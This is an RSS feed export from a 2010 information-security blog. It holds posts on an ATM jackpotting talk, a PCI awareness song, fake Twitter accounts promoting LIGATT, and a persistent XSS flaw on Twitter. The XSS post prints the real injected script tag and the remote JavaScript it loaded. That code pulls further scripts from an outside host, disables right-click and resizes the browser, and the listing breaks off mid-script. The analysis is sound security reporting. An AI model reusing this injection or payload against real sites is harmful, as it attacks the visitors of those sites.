<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect</title>
	<atom:link href="http://praetorianprefect.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Turning an ATM into a Slot Machine</title>
		<link>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/</link>
		<comments>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 23:50:13 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[atm]]></category>
		<category><![CDATA[blackhat]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4600</guid>
		<description><![CDATA[In a talk originally slated for last year before it was muffled by Juniper based on the concerns of "an affected ATM vendor", Jack demonstrates what he calls jackpotting an ATM.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot-150x150.jpg" alt="" title="atm_jackpot" width="150" height="150" class="alignleft size-thumbnail wp-image-4601" /></a></p>

<p>Security researcher Barnaby Jack, currently at IOActive but a veteran of Foundstone, eEye, and Juniper with almost ten years in the industry, has demonstrated two exploit methods for ATM&#8217;s (Automated Teller Machines) in a presentation that is thus far the talk of the Black Hat 2010 conference. In a discussion originally slated for last year before it was muffled by Juniper based on the concerns of &#8220;an affected ATM vendor&#8221;, Jack demonstrates what he calls jackpotting an ATM.
<br /><br /><br /><br /></p>

<p>Here&#8217;s the ATM &#8220;jackpot&#8221; (music playing, money flying out, word &#8216;Jackpot&#8217; displayed on the console):</p>

<p><object width="425" height="344"><param name="movie" value="http://www.twitvid.com/player/TGMDW"></param><param name="allowscriptaccess" value="always"></param><param name="allowFullScreen" value="true"></param><embed type="application/x-shockwave-flash" src="http://www.twitvid.com/player/TGMDW" quality="high" allowscriptaccess="always" allowNetworking="all" allowfullscreen="true" wmode="transparent" height="344" width="425"></object>
<br /></p>

<h3>The Attack</h3>

<p>The attack was employed using two custom tools Jack developed: Scrooge, an ATM firmware rootkit (malicious software that conceals itself at the level of interface between software and hardware) and Dilinger (named for the famous bank robber), a remote ATM attack tool that keeps track of compromised machines and stores the data stolen from people who use the machines. The first exploit involved unlocking a panel on the ATM and inserting a USB key that overwrites the machine&#8217;s native firmware with the aforementioned rootkit, taking control of the ATM.</p>

<h3>Research</h3>

<p><div id="attachment_4606" class="wp-caption alignleft" style="width: 200px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_open.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_open.jpg" alt="" title="atm_open" width="190" height="202" class="size-full wp-image-4606" /></a><p class="wp-caption-text">Triton ATM opened up, as an example.</p></div>
<br /></p>

<p>To perform the research, Jack acquired physical ATM machines, attached a debugger to the ATM motherboard, and proceeded to reverse engineer the machine&#8217;s firmware. He then developed a replacement version (the aforementioned Scrooge software). Firmware typically refers to the small footprint of code (programs, data structures) that provide internal control of electronic devices. In other words, think the low level operations of any electronic device.</p>

<p>In the models Jack tested he was able to, after accessing the machine&#8217;s USB ports with a master key purchased online, perform a replacement of the firmware with his rootkit version. The ATM&#8217;s include the ability to do this so that firmware updates can be made by those performing maintenance on the ATM. However, there is no integrity check to ensure that the code update is coming from a trusted source.</p>

<p>The keys themselves for the cabinets are <a href="http://www.atmpartmart.com/index.php?main_page=index&amp;cPath=698_833_847">not hard to acquire</a>.</p>

<h3>Mitigation</h3>

<p>In response ATM vendors have created a new version of the firmware requiring future updates have a digital signature (essentially a shared secret between the machine and the author of code for that machine to ensure the integrity of the code update). Doing this would help to prevent the type of rogue update via USB Jack performed, as long as the signing keys are kept secret.</p>

<h3>Breadth</h3>

<p>While Jack wouldn&#8217;t reveal the names of the ATM vendors whose devices he compromised (they are reported to be Triton and Tranax machines), he has noted that every ATM he has tested he has compromised, intimating attacks on multiple machines are possible because of similarities in the way generic ATM machines are made. He did note the external limitations of his research, citing the fact that there are only so many ATM&#8217;s you can put in an apartment before &#8220;your girlfriend gets mad&#8221;.</p>

<p>Jack actually told the delivery man who brought the ATM&#8217;s that he was getting them because he wanted to avoid bank withdrawal fees.</p>

<p><div id="attachment_4602" class="wp-caption alignnone" style="width: 622px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/atm_jackpot1.jpg" alt="" title="atm_jackpot" width="612" height="828" class="size-full wp-image-4602" /></a><p class="wp-caption-text">Money spews from the ATM like a slot machine post exploit.</p></div>
<br /></p>

<h3>Remote Attack</h3>

<p>A remote attack was also demonstrated over Wifi, but many of the details have not yet been released. Jack found a way ,testing on his own machines, to bypass the remote authentication system of the ATM so that the same homemade rootkit, Scrooge, could be installed. This essentially provides access to an ATM via an Internet connection allowing for attack results such as the ability to record card and pin numbers on entry and sending them to a remote attacker). Such vulnerable ATM&#8217;s could be located with a war dialing tool, calling thousands of phone numbers until a vulnerable machine responds via modem, a technique already in play by criminals.</p>

<h3>Conclusion</h3>

<blockquote>
  <p>&#8220;Sometimes you have to demo a threat to spark a solution,&#8221; <br />Barnaby Jack</p>
</blockquote>

<p>The image is a resonant and powerful image of insecurity, we have here a demonstrated attack that allows you to spew money out of an ATM in a few seconds, and a second that doesn&#8217;t even require physical access to the machine. At this point, the response time frame from ATM vendors as well as the vulnerability demonstrated via USB are bordering on negligence, a master key that is readily available and USB based firmware updates without any signing mechanism to ensure that it is an &#8216;approved&#8217; update.</p>

<p>We have here, after all, a device whose sole purpose is to dispense cash.</p>

<p>Last year an ATM vendor got the talk pulled from BlackHat by pressuring Jack&#8217;s employer, Juniper Networks, despite having seven months of notification from Jack to arrive at some sort of response before the scheduled talk. Given we are now some one and a half years from notification, and given the quantity and dispersal of ATM&#8217;s out there, the vulnerabilities demonstrated are likely still viable.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/02/microsofts-google-attack-patch/">Microsoft&#8217;s Google Attack Patch?</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/">Adobe util.printd Zero Day</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/six-bulletins-in-last-patch-tuesday-of-2009/">Six Bulletins in Last Patch Tuesday of 2009</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/the-barack-obama-donations-site-was-hacked%e2%80%a6err-no-it-wasn%e2%80%99t/">The Barack Obama Donations Site was Hacked…err, no it wasn’t.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/07/turning-an-atm-into-a-slot-machine/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>PCI Rock, WTH?</title>
		<link>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/</link>
		<comments>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 19:10:08 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Certification]]></category>
		<category><![CDATA[pci]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4589</guid>
		<description><![CDATA[Security Awareness Programs can be a daunting task. It is not atypical to try to mix security awareness programs with some element of fun, such as humor with a message.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_logo.jpg" alt="" title="pci_logo" width="117" height="83" class="alignleft size-full wp-image-4596" /></a></p>

<p>Security Awareness Programs can be a daunting task. It is not atypical to try to mix security awareness programs with some element of fun, such as humor with a message. After all, playing off fear has a limited shelf life, may not be your personal style, and may alienate the audience. That said good humor is well&#8230;hard, and you risk being hokey to the point where your message, and even you, may not be taken seriously.</p>

<p>Enter the PCI Security Standards Council&#8217;s horrible country song:</p>

<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/OceYWri86Ts&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/OceYWri86Ts&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>
<br /></p>

<p>The song has already been nominated for a <a href="http://pwnies.com/">Pwnie 2010 award</a>.</p>

<p><div id="attachment_4592" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_rocks.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/pci_rocks.jpg" alt="" title="pci_rocks" width="750" height="565" class="size-full wp-image-4592" /></a><p class="wp-caption-text">PCI Standards Rock?</p></div>
<br />
<div id="attachment_4593" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/07/PCI_QSA_Fees.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/07/PCI_QSA_Fees.jpg" alt="" title="PCI_QSA_Fees" width="750" height="383" class="size-full wp-image-4593" /></a><p class="wp-caption-text">Qualification Fees - PCI QSA</p></div>
<br /></p>

<p>A Twitter response captured the problem with this approach succinctly: &#8220;That particular page isn&#8217;t going to help their mission &#8211; looking like a dope trying to reach people who think you&#8217;re a dope&#8221; &#8211; <a href="http://www.twitter.com/Corum">@Corum</a>.</p>

<p>At least the Standards Council is spending the exorbitant qualification fees it collects wisely.</p>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/07/pci-rock-wth/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Asian Men Prefer LIGATT</title>
		<link>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 23:29:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Industry News]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[ligatt]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4478</guid>
		<description><![CDATA[A number of new Twitter accounts spawned today, all tweeting positively about the disgraced security firm LIGATT security (plagiarism, threats, stock manipulation), responding to actual security professionals, and all using avatars that are easily attributable to other web sites.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie.jpg" alt="" title="bowie" width="131" height="88" class="alignleft size-full wp-image-4479" /></a></p>

<p>A number of new Twitter accounts spawned today, all tweeting positively about the disgraced security firm LIGATT security (<a href="http://praetorianprefect.com/archives/2010/06/4305/">plagiarism</a>, <a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">threats</a>, <a href="http://attrition.org/errata/charlatan/gregory_evans/ligatt01/">stock manipulation</a>), responding to actual security professionals, and using avatars that are attributable to other sources. On one, the account creator actually forgot to remove the &#8220;Stock&#8221; message from the photo. In another, an image was taken of famous baseball player Ichiro Suzuki to create a fake account titled &#8220;Khang&#8221;. This technique is instructive in how not to attempt to restore one&#8217;s reputation on Twitter, and provides a look at a security company awkwardly creating Twitter Spam as part of its marketing.</p>

<h3>Bowie Khung</h3>

<p><div id="attachment_4488" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_khung1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_khung1.jpg" alt="" title="bowie_khung" width="750" height="715" class="size-full wp-image-4488" /></a><p class="wp-caption-text">Bowie Stock Photo Khung</p></div>
<br /></p>

<p><div id="attachment_4487" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_gettyimages.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bowie_gettyimages.jpg" alt="" title="bowie_gettyimages" width="750" height="504" class="size-full wp-image-4487" /></a><p class="wp-caption-text">Getty Images: Asian Man Smiling</p></div>
<br /></p>

<h3>Khang (aka Ichiro Suzuki, Seattle Mariners baseball team)</h3>

<p><div id="attachment_4493" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/Khang.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/Khang.jpg" alt="" title="Khang" width="750" height="514" class="size-full wp-image-4493" /></a><p class="wp-caption-text">Hits leadoff for the Mariners, and tracks LIGATT.</p></div>
<br /></p>

<p><div id="attachment_4486" class="wp-caption alignnone" style="width: 689px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ichiro.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ichiro.jpg" alt="" title="ichiro" width="679" height="726" class="size-full wp-image-4486" /></a><p class="wp-caption-text">Khang plays baseball, and loves LIGATT.</p></div>
<br /></p>

<h3>Nemanja</h3>

<p><div id="attachment_4483" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nem_rodo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nem_rodo.jpg" alt="" title="nem_rodo" width="750" height="682" class="size-full wp-image-4483" /></a><p class="wp-caption-text">Nemanja</p></div>
<br /></p>

<p><div id="attachment_4484" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/nemanja_result.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/nemanja_result.jpg" alt="" title="nemanja_result" width="700" height="386" class="size-full wp-image-4484" /></a><p class="wp-caption-text">Where Nemanja's image was taken from.</p></div>
<br /></p>

<h3>And the Lameness Continues&#8230;</h3>

<p><div id="attachment_4495" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/josh_p82.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/josh_p82.jpg" alt="" title="josh_p82" width="750" height="636" class="size-full wp-image-4495" /></a><p class="wp-caption-text">Hey, SPOOFEM works great.</p></div>
<br /></p>

<p><div id="attachment_4497" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/dhen.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/dhen.jpg" alt="" title="dhen" width="750" height="660" class="size-full wp-image-4497" /></a><p class="wp-caption-text">I wish I was in Vuvuzela?</p></div>
<br /></p>

<p><div id="attachment_4496" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/joewang.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/joewang.jpg" alt="" title="joewang" width="750" height="477" class="size-full wp-image-4496" /></a><p class="wp-caption-text">Big Joe Wang</p></div>
<br /></p>

<p><div id="attachment_4498" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/rico.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/rico.jpg" alt="" title="rico" width="750" height="624" class="size-full wp-image-4498" /></a><p class="wp-caption-text">Why does he like the name Rico so much?</p></div>
<br /></p>

<h3>Finally</h3>

<p>We thought we were done writing about LIGATT, we really did. But the buffoonery seems to know no bounds.</p>

<p>&#8220;Just when I thought I was out, they pull me back in.&#8221;</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/nationalcybersecurity-com-has-all-original-content/">NationalCyberSecurity.com has all &#8220;Original Content&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/4305/">LIGATT&#8217;s Evans Strikes Back</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/did-ligatt-securitys-ceo-threaten-the-life-of-a-security-professional/">Did LIGATT Security&#8217;s CEO Threaten the Life of a Security Professional?</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/a-loss-of-securityfocus/">A Loss of SecurityFocus</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/asian-men-prefer-ligatt/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Persistent XSS on Twitter.com</title>
		<link>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 08:32:11 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4423</guid>
		<description><![CDATA[Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability he found on  June 21st using his own Twitter account (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/failwhale-e1277366677897-150x150.jpg" alt="" title="failwhale" width="150" height="150" class="alignleft size-thumbnail wp-image-4424" /></a></p>

<p>Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability on Twitter he found on June 21st using <a href="http://twitter.com/0wn3d_5ys">his own Twitter account</a> (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications. Visiting his account on Twitter results in a pair of classic cross site scripting alert boxes, then your browser is manipulated, finally you enter the matrix (see below), and get messages from the researcher who found the vulnerability.
<br /><br /><br /></p>

<div id="attachment_4428" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/xss_example.jpg" alt="" title="xss_example" width="750" height="600" class="size-full wp-image-4428" /></a><p class="wp-caption-text">Initial result of visiting the affected Twitter profile.</p></div>
<br /></p>

<p><div id="attachment_4429" class="wp-caption alignnone" style="width: 336px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert1.jpg" alt="" title="alert1" width="326" height="126" class="size-full wp-image-4429" /></a><p class="wp-caption-text">Alert box one.</p></div>
<br /></p>

<p><div id="attachment_4430" class="wp-caption alignnone" style="width: 428px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/alert2.jpg" alt="" title="alert2" width="418" height="126" class="size-full wp-image-4430" /></a><p class="wp-caption-text">Alert box 2.</p></div>
<br /></p>

<p><div id="attachment_4431" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/matrix_time.jpg" alt="" title="matrix_time" width="750" height="600" class="size-full wp-image-4431" /></a><p class="wp-caption-text">Then you're in the matrix.</p></div>
<br /></p>

<p>And lest you wonder at his intentions, he supplies the following messages into the pages title tag:</p>

<pre><code>tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: 
Indonesian H4x0r";
</code></pre>

<p>He announced the find <a href="http://www.0wn3d-5ys.co.cc/">on his blog</a> as well as the Indonesian forum Balikita.</p>

<h3>The Vulnerable Field</h3>

<p>The problem is similar to one <a href="http://www.davidnaylor.co.uk/massive-twitter-cross-site-scripting-vulnerability.html">described last August</a> by James Slater. That time around the issue was with the application URL, this time it appears the application name is the issue.</p>

<p>The code containing the injection occurs at the application name field (the via &#8220;Application name&#8221; you see on your tweets).</p>

<pre><code>&lt;span&gt;via &lt;a href="http://www.0wn3d-5ys.co.cc" rel="nofollow"&gt;Ub­­&amp;shy;erTw­i­&amp;shy;tter&lt;span 
style="visibility: hidden"&amp;gt; &lt;script src='http://is.gd/cWO66' type='text/javascript'&amp;gt;&lt;/script&amp;gt;&lt;/a&gt;
&lt;/span&gt;
</code></pre>

<p>What do you notice right away? There&#8217;s no closing bracket on the closing script tag (Twitter is encoding as gt, at least partially, what was submitted). Here the researcher seems to get lucky in that his closing script tag is ignored, and the page falls all the way through to another Javascript include before it starts interpreting the markup again. Fortunately the next thing the browser interprets is the closing script tag on a Twitter included Javascript, thus the code injection works:</p>

<pre><code>&lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"&gt;&lt;/script&gt;
</code></pre>

<p><div id="attachment_4433" class="wp-caption alignnone" style="width: 389px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/injection_location.jpg" alt="" title="injection_location" width="379" height="251" class="size-full wp-image-4433" /></a><p class="wp-caption-text">Injection location.</p></div>
<br /></p>

<p>This field is supplied when an application is set up via the Twitter <a href="http://dev.twitter.com/apps/new">Application Registration</a> page.</p>

<p><div id="attachment_4451" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/appform.jpg" alt="" title="appform" width="700" height="711" class="size-full wp-image-4451" /></a><p class="wp-caption-text">Where Application Name is supplied.</p></div>
<br /></p>

<h3>The Javascript</h3>

<p>The shortened URL included (http://is.gd/cWO66) redirects to: http://h1.ripway.com/www.Frendster.com/011.js.</p>

<pre><code>//*----------------------------------*//
alert("::::::||+ &lt;/X55ED&gt; + H4x0r-x0x  +||:::::: ");
alert("::::::::::::::::||+ Page Twitter Owned By: H4x0r-x0x +||:::::::::::::::: \n ::::::||+ H4x0r-x0x From Forum.Balikita.Net &amp; Ungu.com +||::::::");

//*----------------------------------*//
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://h1.ripway.com/www.Frendster.com/H4x0r.js";
document.getElementsByTagName("head")[0].appendChild(myjs);

//*----------------------------------*//
var shortc = document.createElement("link");
shortc.rel = "SHORTCUT ICON";
shortc.href = "http://img532.imageshack.us/img532/4308/indonesiaflag.gif";
document.getElementsByTagName("head")[0].appendChild(shortc);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/www.Frendster.com/twitt.css");
document.getElementsByTagName("head")[0].appendChild(css);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href"," http://h1.ripway.com/www.Frendster.com/css.css");
document.getElementsByTagName("head")[0].appendChild(css);

//**************************************//

//**************************************//

function tb8_makeArray(n){
this.length = n;
return this.length;
}
tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: Indonesian H4x0r";
tb8_rptType = 'infinite';
tb8_rptNbr = 5;
tb8_speed = 100;
tb8_delay = 2000;
var tb8_counter=1;
var tb8_currMsg=0;
var tb8_tekst ="";
var tb8_i=0;
var tb8_TID = null;
function tb8_pisi(){
tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
document.title = tb8_tekst;
tb8_sp=tb8_speed;
tb8_i++;
if (tb8_i==tb8_messages[tb8_currMsg].length){
tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
}
if (tb8_currMsg == tb8_messages.length){
if ((tb8_rptType == 'finite') &amp;&amp; (tb8_counter==tb8_rptNbr)){
clearTimeout(tb8_TID);
return;
}
tb8_counter++;
tb8_currMsg = 0;
}
tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
}
tb8_pisi()


//------

var message=" syapakahh Qwueee.. w4s Hare ";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&amp;&amp;!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false")
// --&gt;


//***********//
//form tags to omit in NS6+:
var omitformtags=["input", "textarea", "select"]

omitformtags=omitformtags.join("|")

function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
return false
}

function reEnable(){
return true
}

if (typeof document.onselectstart!="undefined")
document.onselectstart=new Function ("return false")
else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}

/***********/

scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a&lt;80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}

window.resizeTo(0,0)
for(b=0;b&lt;80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}

for(c=0;c&lt;80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}

for(d=0;d&lt;80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}

for(e=0;e&lt;80;e++){
window.resizeTo(scrW*e/80,scrH*e/80)
}

window.moveTo(0,0)
window.resizeTo(scrW,scrH) 

///************************///
var wibiya_pl = "false";
var wibiya_nc = "true";
var wibiya_latestJq = false;
var wibiya_flashFix = false;
var wibiya_jQuery_ver = 132;
var wibiyaTimeoutId;

function jquery_ver(){
    return parseInt(jQuery.fn.jquery.replace(/\./gi,'').substring(0,3));
}

if (!Array.prototype.indexOf) {
    Array.prototype.indexOf = function(obj, start) {
        for (var i = (start || 0), j = this.length; i &lt; j; i++) {
            if (this[i] === obj) {
                return i;
            }
        }
        return -1;
    }
}

function loadjscssfile(filename, filetype, where){
    var fileref;
    if (filetype=="js"){ //if filename is a external JavaScript file
        fileref=document.createElement("script");
        fileref.setAttribute("type","text/javascript");
        fileref.setAttribute("src", filename);
    }
    else if (filetype=="css"){ //if filename is an external CSS file
        fileref=document.createElement("link");
        fileref.setAttribute("rel", "stylesheet");
        fileref.setAttribute("type", "text/css");
        fileref.setAttribute("href", filename);
    }
    if (typeof fileref!="undefined"){
        if (where=="head"){
            document.getElementsByTagName("head")[0].appendChild(fileref);
        }
        else{
            document.getElementsByTagName("body")[0].appendChild(fileref);
        }
    }
}

function CheckJQueryLoader(toolbarId)
{
    if (typeof jQuery == "function")
    {
        if (!wibiya_latestJq)
        {
            clearTimeout(wibiyaTimeoutId);
            SetToolbarLoad();
        }
        else
        {
            if (jquery_ver() &gt;= wibiya_jQuery_ver)
            {
                clearTimeout(wibiyaTimeoutId);
                SetToolbarLoad();
            }
            else
            {
                wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
            }
        }
    }
    else
    {
        wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
    }
}

function getQueryParam(name){
    var qString = window.location.search.substring(1).split("&amp;");
    var params = new Array();

    var p;
    for(var i=0; i&lt;qString.length; i++){
        p = qString[i].split("=");
        params[p[0]] = p[1];
    }

    return params[name];
}

function SetToolbarLoad(){
    var wibiya_mobiles = ["iphone","ipod","ipad","series60","symbian","android","windows ce",
        "blackberry","palm","avantgo","docomo","vodafone","j-phone",
        "xv6850","htc","lg;","lge","mot","nintendo","nokia","samsung","sonyericsson"];
    wibiyaToolbar.wibiya_isMobile = false;
    wibiyaToolbar.wibiya_uAgent = navigator.userAgent.toLowerCase();
    for(var i=0;i&lt;wibiya_mobiles.length;i++){
        if(wibiyaToolbar.wibiya_uAgent.match(wibiya_mobiles[i]) != null){
            wibiyaToolbar.wibiya_isMobile = true;
            break;
        }
    }

    if ((jQuery.browser.msie &amp;&amp; parseInt(jQuery.browser.version)==6) ||  wibiyaToolbar.wibiya_isMobile == true){
        // ie 6 and below -&gt; do nothing
    }
    else{
        if(wibiya_flashFix === true){
            wibiyaToolbar.rewriteFlash = 0;
            wibiyaToolbar.framework.FlashFix();
            wibiyaToolbar.rewriteFlashInterval = setInterval("wibiyaToolbar.framework.FlashFix();", 3333);
        }

        wibiyadomain = "http://cdn.wibiya.com/Toolbars/dir_0463/Toolbar_463831/";
        // no-conflict
        if (wibiya_nc=="true") jQuery.noConflict();

